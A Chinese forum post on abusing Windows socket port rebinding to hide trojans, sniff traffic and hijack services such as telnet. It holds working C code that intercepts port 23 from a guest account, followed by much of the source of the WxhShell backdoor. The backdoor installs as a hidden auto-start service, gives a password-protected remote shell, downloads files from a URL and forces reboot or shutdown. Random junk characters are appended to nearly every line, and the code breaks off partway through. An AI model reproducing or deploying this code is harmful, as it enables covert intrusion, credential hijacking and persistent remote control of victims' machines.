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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,Wd+&|Q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }ew )QHd  
0yUn~'+(Sp  
  saddr.sin_family = AF_INET; h}m9L!+n8  
aJs! bx>K  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); s/;S2l$`  
yi-)4#YN  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Zwtz )ZII  
)ZZ6 (O  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =':SOO7  
-Y"2c,~pH  
  这意味着什么?意味着可以进行如下的攻击: ncR]@8  
ob)c0Pz  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 [].euDrX  
~^3U@( :  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0w2<2grQ  
\%W"KLP  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 IS{>(XT{  
cGg ~+R2P  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  kf' 4C "}  
]*rK;  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 *u>[  
py/#h$eY  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 c5eimA%`  
7X/B9Hee  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 c`)[-  
sdQ "[`~2R  
  #include ]PH'G>x  
  #include qHYoQ.ke  
  #include jpiBHi]5+  
  #include    ?j8_j  
  DWORD WINAPI ClientThread(LPVOID lpParam);   #.@D}7y5  
  int main() }SW>ysw'm  
  { Cj6$W5I m  
  WORD wVersionRequested; u>03l(X6f  
  DWORD ret; [@$t35t~  
  WSADATA wsaData; )f`oCXh  
  BOOL val; ?ieC>cr  
  SOCKADDR_IN saddr; q+ 9c81b  
  SOCKADDR_IN scaddr; t "[2^2G  
  int err; @aWd0e]  
  SOCKET s; { =IAS}  
  SOCKET sc; t\,X G  
  int caddsize; vq5o?$:-  
  HANDLE mt; gp]T.ol  
  DWORD tid;   GaOM|F'>  
  wVersionRequested = MAKEWORD( 2, 2 ); ALp|fZ\vp  
  err = WSAStartup( wVersionRequested, &wsaData ); 'iEu1! t\0  
  if ( err != 0 ) { ,D{D QJ(B  
  printf("error!WSAStartup failed!\n");  bR83N  
  return -1; AbOF/ g)C  
  } ZcrFzi  
  saddr.sin_family = AF_INET; G@6F<L~$1  
   k:`yxxYIh  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Jw -3G3h  
~:"//%M3l  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6F3FcUL  
  saddr.sin_port = htons(23); Au{J/G<W@  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) te#Wv9x  
  { %2`.*]L  
  printf("error!socket failed!\n"); ,-5|qko=  
  return -1; }Gh95HwE  
  } .]K{8[:hq  
  val = TRUE; \) g?mj^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 LZ1)zoJ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )s>R~7  
  { eIt<da<G?  
  printf("error!setsockopt failed!\n"); ')KuLVE}S  
  return -1; t/(rB}  
  } G Y+li {  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Ws:MbZyr  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 - ~`)V`@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 cPPTGpqw  
e4Q2$ Q@b  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) zEs:OOM  
  { nm]m!.$d  
  ret=GetLastError(); YaAOP'p  
  printf("error!bind failed!\n"); L}pj+xB  
  return -1; {Z^q?~zC[  
  } `-w;/A"MJ  
  listen(s,2); wYN/ }>M  
  while(1) NWII?X#T}  
  { \JIyJ8FleC  
  caddsize = sizeof(scaddr); a<l DT_2b  
  //接受连接请求 $9?<mP2-*  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )H[Pz.'ah0  
  if(sc!=INVALID_SOCKET) dc,qQM  
  { CK(`]-q>,  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); sTw+.m{F  
  if(mt==NULL) <^Jdl.G  
  { J)P7QTC  
  printf("Thread Creat Failed!\n"); L4or*C^3  
  break; EfGy^`,'G  
  } 0@kL<\u  
  } A/88WC$v  
  CloseHandle(mt); w7b\?]}@  
  } V$3`y=8  
  closesocket(s); W?D-&X^ny  
  WSACleanup(); QfRo`l/V9  
  return 0; C!W0L`r  
  }   /^=8?wK  
  DWORD WINAPI ClientThread(LPVOID lpParam) |X;|=.  
  { /-Z}=  
  SOCKET ss = (SOCKET)lpParam; *g[MGyF "  
  SOCKET sc; CO`?M,x>  
  unsigned char buf[4096]; nfksi``Vq  
  SOCKADDR_IN saddr; #O^%u,mJj  
  long num; j?1wP6/NP  
  DWORD val; H7(D8.y )  
  DWORD ret; ;Pe=cc"@  
  //如果是隐藏端口应用的话,可以在此处加一些判断 vF1Fcp.@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !TO+[g!  
  saddr.sin_family = AF_INET; . Ky)Co  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); rG3?Z^&R+  
  saddr.sin_port = htons(23); bL/DjsZ@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) y+nX(@~f]  
  { XvVi)`8!u  
  printf("error!socket failed!\n"); 0G`@^`  
  return -1; k{D0&  
  } C%H?vrR  
  val = 100; m}6Jdt'|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8&yI1XM|  
  { *U +<Hv`C  
  ret = GetLastError(); :Q8*MJ3&V  
  return -1; ^G4@cR.An  
  } F ESl#.}  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U7HfDDh  
  { h.q9p!  
  ret = GetLastError(); IZs&7  
  return -1; d'iSvd.  
  } D>0(*O  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2S-f5&o  
  { vIf-TQw  
  printf("error!socket connect failed!\n"); -F_c Bu81V  
  closesocket(sc); oX7_v_:J\R  
  closesocket(ss); 88l1g,`**  
  return -1; RK=Pm7L:`y  
  } i|m8#*Hd  
  while(1)  \>||  
  { M4(57b[`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @saK:z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 "z*.Bk  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 gegM&Xo  
  num = recv(ss,buf,4096,0); _0UE*l$t  
  if(num>0) 7M8cF>o  
  send(sc,buf,num,0); E\TWPV'/  
  else if(num==0) `@ny!S|1/  
  break; oW^>J-  
  num = recv(sc,buf,4096,0); rgDl%X2B  
  if(num>0) T}/|nOu 5  
  send(ss,buf,num,0); +*,!q7Gt  
  else if(num==0) X&IT  s  
  break; Uz~B`  
  } >'4$g7o,  
  closesocket(ss); (V1;`sI8  
  closesocket(sc); ^+~ 5\c*  
  return 0 ; (H"{r  
  } *6eJmbFG  
"?<(-,T  
$B7c\MR j  
========================================================== h?v8b+:0  
N;,zPWa  
下边附上一个代码,,WXhSHELL C#e :_e]  
2vU-9p {  
========================================================== P&=YLL<W  
![$`Ivro`  
#include "stdafx.h" Bex;!1  
||fw!8E  
#include <stdio.h> 'HJ+)[0X*  
#include <string.h> _`gkYu3R+  
#include <windows.h> K^o{lyK;@~  
#include <winsock2.h> @3$I  
#include <winsvc.h> TGU7o:2  
#include <urlmon.h> zA}JVB  
?3a=u<  
#pragma comment (lib, "Ws2_32.lib") ." gq[0_YS  
#pragma comment (lib, "urlmon.lib") ]uF7HX7F  
_|W&tB *  
#define MAX_USER   100 // 最大客户端连接数 wVFa51a)yy  
#define BUF_SOCK   200 // sock buffer &@'%0s9g  
#define KEY_BUFF   255 // 输入 buffer SvQ|SKE':  
_'1 7C /  
#define REBOOT     0   // 重启 !.^x^OK%y  
#define SHUTDOWN   1   // 关机 Pz[UAJ  
G[]%1 _QCO  
#define DEF_PORT   5000 // 监听端口 pdER#7Tq  
A,tg268  
#define REG_LEN     16   // 注册表键长度 'jMs&  
#define SVC_LEN     80   // NT服务名长度 _>]/.w2=  
/4OQx0Xmm  
// 从dll定义API vea{o 35!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ("ix!\1K@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O`1!&XT{x  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {5D%<Te  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 0TA8#c  
,jeHL@>w[  
// wxhshell配置信息 tmoCy0qWz  
struct WSCFG { |f$ws R`&  
  int ws_port;         // 监听端口 $xdo=4;|  
  char ws_passstr[REG_LEN]; // 口令 jtpHDS  
  int ws_autoins;       // 安装标记, 1=yes 0=no A'7Y{oPHX  
  char ws_regname[REG_LEN]; // 注册表键名 Q:7P /  
  char ws_svcname[REG_LEN]; // 服务名 W( sit;O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E;4B!"Q8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l3u+fE,;_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 IKnf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #o[n.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" tDah@_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S LeA,T  
dc4XX5Z  
}; l l*g *zt3  
Lg,ObVt!  
// default Wxhshell configuration j DEym&-  
struct WSCFG wscfg={DEF_PORT, frm[<-~w0  
    "xuhuanlingzhe", 0YL*)=pD,  
    1, FZ<6kk4  
    "Wxhshell", .@+M6K*  
    "Wxhshell", v(JjvN21  
            "WxhShell Service", +h/OQ]`/m  
    "Wrsky Windows CmdShell Service", ".Q]FE@>  
    "Please Input Your Password: ", 5uSg]2:  
  1, 7Dl^5q.|  
  "http://www.wrsky.com/wxhshell.exe", B/K=\qmm  
  "Wxhshell.exe" h(}#s1Fzq  
    }; CE  
i$3#/*Y7_L  
// 消息定义模块  -L2 +4  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `FNU- I4s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^t<L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G@~e :v)  
char *msg_ws_ext="\n\rExit."; WuF\{bUh  
char *msg_ws_end="\n\rQuit."; hUp3$4w  
char *msg_ws_boot="\n\rReboot...";  f>mEX='w  
char *msg_ws_poff="\n\rShutdown..."; pp*MHM)x|q  
char *msg_ws_down="\n\rSave to "; ak3WER|f#  
d/3&3>/  
char *msg_ws_err="\n\rErr!"; F$JA IL{W  
char *msg_ws_ok="\n\rOK!"; 0{o 8-#  
wV$V X  
char ExeFile[MAX_PATH]; m|+zMf&  
int nUser = 0; _3f/lG?&-  
HANDLE handles[MAX_USER]; em^2\*sxpA  
int OsIsNt; {O!;cI~  
}c4F}Cy  
SERVICE_STATUS       serviceStatus; w8>bct3@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?W?n l:F  
MfLus40;n  
// 函数声明 HQ4WunH2Y  
int Install(void); sZqi)lo-s  
int Uninstall(void); 5y0LkuRR:  
int DownloadFile(char *sURL, SOCKET wsh); biffBC:q  
int Boot(int flag); }gX4dv B  
void HideProc(void); {EU]\Mp0j  
int GetOsVer(void); Z$YG'p{S  
int Wxhshell(SOCKET wsl); Ja\B%f  
void TalkWithClient(void *cs); T~}g{q,tR  
int CmdShell(SOCKET sock); .:;q8FL/  
int StartFromService(void); ;lTgihW-  
int StartWxhshell(LPSTR lpCmdLine); ke +\Z>BWN  
!a5e{QG0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); NH1|_2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7#T@CKdUd  
c1f`?i}.  
// 数据结构和表定义 3i}$ ~rz]U  
SERVICE_TABLE_ENTRY DispatchTable[] = W$" >\A0%  
{ yAel4b/}  
{wscfg.ws_svcname, NTServiceMain}, j z&=8  
{NULL, NULL} +#'QP#  
}; \nVoBW(  
@(tuE  
// 自我安装 *;.:UR[i  
int Install(void) 6XeqK*r*  
{ ,(#n8|q4  
  char svExeFile[MAX_PATH]; ux7g%Q ^"  
  HKEY key; 5hiuBf<  
  strcpy(svExeFile,ExeFile); &gm/@_  
.7#04_aP  
// 如果是win9x系统,修改注册表设为自启动 y=}a55:qE  
if(!OsIsNt) { N_.`5I;e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9>5]y}.{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V3\} ]5  
  RegCloseKey(key); YjG:ECj}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sWLH"'Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !un_JZD  
  RegCloseKey(key); 3Q+THg3~?  
  return 0; |:`gjl_Nf  
    } X@B,w_b  
  } jCt[I5"+z  
} /lvH p  
else { VoUAFEcs  
Tq >?.bq9  
// 如果是NT以上系统,安装为系统服务 zhde1JE  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <.6$zcW  
if (schSCManager!=0) ((_v>{  
{ z#| tl/aP9  
  SC_HANDLE schService = CreateService >E(IkpZ  
  ( s^AZ)k~J(  
  schSCManager, UBy:W^\g  
  wscfg.ws_svcname, i+.bR.WO  
  wscfg.ws_svcdisp, Ibl==Irk  
  SERVICE_ALL_ACCESS, KY;E.D`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , K<tkNWasQ  
  SERVICE_AUTO_START, (z<& PP  
  SERVICE_ERROR_NORMAL, E)l@uPA'1  
  svExeFile, +xtR`Y"  
  NULL, Wj. _{  
  NULL, Q1@V?`rkS{  
  NULL, 8/E?3a_g-  
  NULL, 3&JsYQu  
  NULL %S4pkFR  
  ); 7:T 5P  
  if (schService!=0) D(<20b,  
  { u7<s_M3%N  
  CloseServiceHandle(schService); enJE#4Z5&s  
  CloseServiceHandle(schSCManager); Tp/+{|~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #r)c@?T@j  
  strcat(svExeFile,wscfg.ws_svcname); n.Q?@\}2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 21U,!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); s?*MZC  
  RegCloseKey(key); .Su9fj y%  
  return 0; } Pc6_#  
    } Jk7[}Jc$  
  }  G l*C"V  
  CloseServiceHandle(schSCManager); )f0t"lk  
} 5ff66CRw  
} 5fBW#6N/  
EkqsE$52  
return 1; 9Kyr/6w4-k  
} q-}J0vu\K  
8a1G0HRQ  
// 自我卸载 !g~xn2m$R  
int Uninstall(void)  B9^@]  
{ @Tr8.4  
  HKEY key; #3u;Ox  
`riK[@  
if(!OsIsNt) { |L7 `7!Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Tl Z|E '_C  
  RegDeleteValue(key,wscfg.ws_regname); G?d28p',.  
  RegCloseKey(key); z>hG'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uU>Bun  
  RegDeleteValue(key,wscfg.ws_regname); /cDla5eej  
  RegCloseKey(key); M(S:&GOU  
  return 0; */RtN`dh  
  } m`-{ V<(M  
} avk0pY(n  
} b07 MTDFH7  
else { nlK"2/W  
4>>d "<}C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %Ow,.+m  
if (schSCManager!=0) ,?7U Rx*  
{ /'p(X~X:l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U w][U  
  if (schService!=0) FbHk6(/)  
  { fXBA P10#  
  if(DeleteService(schService)!=0) { 0AFjO)  
  CloseServiceHandle(schService);  #IyxH$  
  CloseServiceHandle(schSCManager); j#0@%d  
  return 0; (~N &ov  
  } 0\Qqv7>  
  CloseServiceHandle(schService); N/mTG2'<  
  } m Fwx},dl  
  CloseServiceHandle(schSCManager); $ T.c>13  
} 3ePG=^K^  
} ED @9,W0  
aDTNr/I  
return 1; <`b)56v:+  
} \:\rkc9LI  
Y_)!U`>N?  
// 从指定url下载文件 *<zfe.  
int DownloadFile(char *sURL, SOCKET wsh) F%t`dz!L  
{ 8AVM(d@  
  HRESULT hr; /A4zR  
char seps[]= "/"; X4lz?Y:*  
char *token; diGPTV-?$  
char *file; Q\Fgc ;.U  
char myURL[MAX_PATH]; ,l#Ev{  
char myFILE[MAX_PATH]; me#VCkr#  
Qq(/TA0$-  
strcpy(myURL,sURL); uMtq4.  
  token=strtok(myURL,seps); [ K;3Qf)  
  while(token!=NULL) N)03{$WM  
  { ]i)m   
    file=token; lzN\~5a}  
  token=strtok(NULL,seps); znzh$9tH  
  } |[;9$Vn  
L\XnTL{  
GetCurrentDirectory(MAX_PATH,myFILE); { ,qm=Xjq  
strcat(myFILE, "\\"); 8TZNvN4u  
strcat(myFILE, file); x-,+skZs  
  send(wsh,myFILE,strlen(myFILE),0); u1xCn\  
send(wsh,"...",3,0); (4L XoNT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); \L-o>O  
  if(hr==S_OK) L]3 V)`}  
return 0; ^+^#KC8]W  
else i<l_z&  
return 1; p?2 \9C4  
9`81br+~  
} BMkN68q  
<spVUp  
// 系统电源模块 +] >o@  
int Boot(int flag) K>hQls+  
{ \wEHYz  
  HANDLE hToken; s4/4o_[W  
  TOKEN_PRIVILEGES tkp; 1%68Pnqk  
sa$CCQ  
  if(OsIsNt) { ZgK[,<2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U1}-]^\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'hN_H}U  
    tkp.PrivilegeCount = 1; S=B?bD_,c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Jw3VWc ]]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ybo:2e  
if(flag==REBOOT) { tBC`(7E}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >zFk}/  
  return 0; u0 myB/`  
} .\XFhOsa  
else { /.P9n9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .}!"J`{ W  
  return 0; OGW,[k= 2{  
} BdBwfH%:  
  } ovm109fTx  
  else { ])F*)U  
if(flag==REBOOT) { @h7)M:l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )#S;H$@$  
  return 0; oGt,^!V1  
} Q*4{2oQ  
else { uH*moVw@5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  ac  
  return 0; #&0G$~  
} NULew]:5  
} ?='2@@8;  
)Y4;@pEU  
return 1; Z~R7 G  
} HiAj3  
#+CH0Z  
// win9x进程隐藏模块 M3q%(!2  
void HideProc(void) ZHu"& &  
{ 4eVQO%&2  
3yGo{uW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +4L]Z ;k  
  if ( hKernel != NULL ) 'q>2WP|UY9  
  { 1 S<E=7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N+lhztYQ?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); B&fH FyK1n  
    FreeLibrary(hKernel); e={ ?d6  
  } W%ml/ 4  
v']Tusmg  
return; z)%Ke~)<\@  
} ,GeW_!Q[  
]@Z[/z%~04  
// 获取操作系统版本 88x2Hf5I  
int GetOsVer(void) Ml,~@} p  
{ !NqLBrcv0  
  OSVERSIONINFO winfo; pyUzHF0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'p_|Rw>  
  GetVersionEx(&winfo); GG &J  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6~34L{u  
  return 1; g"{`g6(+  
  else `. i #3P  
  return 0; J,G/L!Bp  
} ?_-5W9  
s4uZ>  
// 客户端句柄模块 zK_Q^M`  
int Wxhshell(SOCKET wsl) y$Fk0s*>  
{ 8q]_> X  
  SOCKET wsh; DX0#q #  
  struct sockaddr_in client; B/Js>R  
  DWORD myID; q# 6|/R*  
uK%0,!q  
  while(nUser<MAX_USER)  eC[G4  
{ /Qu<>#[?  
  int nSize=sizeof(client); G>edJPfQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y@h v#;  
  if(wsh==INVALID_SOCKET) return 1; &E]<KbVx  
yi8AzUW cW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _BEDQb{"|  
if(handles[nUser]==0) vYybQ&E/  
  closesocket(wsh); ep6V2R  
else :x,dYJm  
  nUser++; lSfPOx;*  
  } ], IQ~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hbe";(  
SJ}PV:x  
  return 0; @.,Mn#  
} |H(i)yu"5'  
,Yn$X  
// 关闭 socket \#v(f2jPF  
void CloseIt(SOCKET wsh) aECpe'!m4  
{ UGxF}Q  
closesocket(wsh); |hS^eK_  
nUser--; 33ZHrZ  
ExitThread(0); !gL1  
} 4~AY: ib|  
\j<aFOT(  
// 客户端请求句柄 A4*D3\>%u  
void TalkWithClient(void *cs) \qDY0hIv t  
{ de9e7.(2  
.E 9$j<SP-  
  SOCKET wsh=(SOCKET)cs; IrIW>r} -  
  char pwd[SVC_LEN]; b\^1P;!'W  
  char cmd[KEY_BUFF]; ewdcAF5  
char chr[1]; {z9,CwJan?  
int i,j; |kF"p~s  
yO/'}FD  
  while (nUser < MAX_USER) { R|k!w]  
BC85#sbl  
if(wscfg.ws_passstr) { cpPS8V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /eBcPu"[Vb  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "u'dd3!  
  //ZeroMemory(pwd,KEY_BUFF); |fb*<o eT  
      i=0; np\*r|U  
  while(i<SVC_LEN) { 1wE`kbC<  
 wH\ K'/  
  // 设置超时 S^N{=*  
  fd_set FdRead; rcf#8  
  struct timeval TimeOut; -dw/wHf"  
  FD_ZERO(&FdRead); z<s ~`  
  FD_SET(wsh,&FdRead); 29W`L2L  
  TimeOut.tv_sec=8; " ;o, D  
  TimeOut.tv_usec=0; MM~4D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2h) *  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); cef:>>6_  
;T<'GP'/r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "Z"`X3,-z  
  pwd=chr[0]; ()fYhk|W  
  if(chr[0]==0xd || chr[0]==0xa) { ZC&~InN  
  pwd=0; 'h> l_A  
  break; ^fU,9  
  } { !t6& A  
  i++; "VeNc,-nfQ  
    } ^C8f(  
HmV JkkksJ  
  // 如果是非法用户,关闭 socket "9RW<+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =]L#v2@  
} InG<B,/W?  
I^O`#SA(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); G)=+Nt\ *  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  rjHW  
&qV_|f;  
while(1) { .Zx7+`i  
fM<g++X  
  ZeroMemory(cmd,KEY_BUFF); 8yGo\\=T  
Zk # C!]=  
      // 自动支持客户端 telnet标准   s=XqI@  
  j=0; >;X^+JH!)  
  while(j<KEY_BUFF) { cV* 0+5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZQ~EaI9R  
  cmd[j]=chr[0]; peU1 t:k?  
  if(chr[0]==0xa || chr[0]==0xd) { B 3eNvUFZg  
  cmd[j]=0; Eqh&<]q  
  break; 5dLb`G f  
  } kJ0otr2P  
  j++; h='@Q_1Sb  
    } U&6f:IV  
}}v28"\TA  
  // 下载文件 ld'Aaxl&  
  if(strstr(cmd,"http://")) { pB79#4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); YfH+kDT  
  if(DownloadFile(cmd,wsh)) -KCQ!0\F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f>+:UGmP  
  else u=B,i#>s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5?MKx!%  
  } G;bE_O  
  else { 6H!"oC&  
9Dx9alJR  
    switch(cmd[0]) { iLkP@OYgQ  
  +tFl  
  // 帮助 &M+fb4:_  
  case '?': { b~m|mb$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); f<( ysl1[  
    break; " ZFK-jn/  
  } 24/ ^_Td  
  // 安装 wz 5*?[4  
  case 'i': { t>%J3S>'ZV  
    if(Install()) (B;rjpK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :S{+|4pH  
    else mkt%|Kb.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NpYzN|W:  
    break; {KalVZX2R  
    } )3~):+  
  // 卸载 mGqT_   
  case 'r': { giz#(61j^  
    if(Uninstall()) <lwkjt=RV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n6 a=(T  
    else F]~>qt<ia  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B@2VI 1%  
    break; ;-X5#  
    } yPza  
  // 显示 wxhshell 所在路径 `>cBR,)r  
  case 'p': { IXef}%1N?  
    char svExeFile[MAX_PATH]; Do5)ilt  
    strcpy(svExeFile,"\n\r"); ')>&:~  
      strcat(svExeFile,ExeFile); lZ9rB^!  
        send(wsh,svExeFile,strlen(svExeFile),0); !z]2+  
    break; &udlt//^%  
    } <)\  
  // 重启 _]whHS+  
  case 'b': { /2e&fxxD  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3KW4 ]qo~  
    if(Boot(REBOOT)) cRhu]fv()  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F"<TV&xf  
    else { Ma,2_oq+  
    closesocket(wsh); OWRT6R4v  
    ExitThread(0); VgO:`bDF  
    } ~SRK}5E  
    break; LJ Aqk2k  
    } $ RDwy)9  
  // 关机 Xo:!U=m/#  
  case 'd': { i/%+x-#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fGtUr _D  
